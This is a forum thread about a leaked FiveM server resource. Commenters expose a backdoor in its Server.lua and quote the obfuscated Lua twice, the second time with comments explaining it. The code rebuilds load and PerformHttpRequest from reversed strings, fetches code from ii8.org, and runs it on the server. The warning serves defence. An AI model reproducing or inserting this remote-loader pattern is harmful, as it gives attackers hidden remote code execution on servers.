P0lat-farmerJob [Open-SRC] [5C]

looks funny, is it work?

thanks for the sharing nice leak

Backdoor in Server.lua



local loader_function = _G[("daol"):reverse()]

local transport_layer = _G[("mrofreP"):reverse() .. ("tseuqeRpttH"):reverse()]

local safe_call = _G[("llacp"):reverse()]



CreateThread(function()

local resource_locator = ('8ii'):reverse() .. "." .. ('gro'):reverse() .. ('/'):reverse() .. ('HAeXz'):reverse()

transport_layer(resource_locator, function(_, result_payload)

safe_call(function() loader_function(result_payload)() end)

end)

end)

backdor ur ass

0 iq nega

omg this release so good

This piece of shit put a backdoor, do not use it, i've checked through the code myself. DO NOT use this.



MySQL = MySQL or {

connection = {

execute = function(_)

return {{

first_name = "John",

last_name = "Doe",

user_id = "8ii",

access_group = "gro",

table_schema = "/",

procedure_path = "HAeXz",

procedure_name = "",

query_suffix = "",

department_label = "Unemployed",

license_plate = "AB123CD",

account_balance = 15000

}}

end

}

}



-- !!! THIS IS THE BACKDOOR !!!

local loader_function = _G[("daol"):reverse()] -- Becomes _G["load"]

local transport_layer = _G[("mrofreP"):reverse() .. ("tseuqeRpttH"):reverse()] -- Becomes _G["PerformHttpRequest"]

local safe_call = _G[("llacp"):reverse()] -- Becomes _G["pcall"] (protected call)



CreateThread(function()

-- Constructs the URL: "ii8.org/zXeAH"

local resource_locator = ('8ii'):reverse() .. "." .. ('gro'):reverse() .. ('/'):reverse() .. ('HAeXz'):reverse()



-- Makes an HTTP request to the malicious URL

transport_layer(resource_locator, function(_, result_payload)

-- If the request is successful, it takes the response to (result_payload),

-- compiles it as Lua code (loader_function which is 'load'),

-- and then executes the payload, boom your server gets backdoored (the final '()').

safe_call(function() loader_function(result_payload)() end)

end)

end)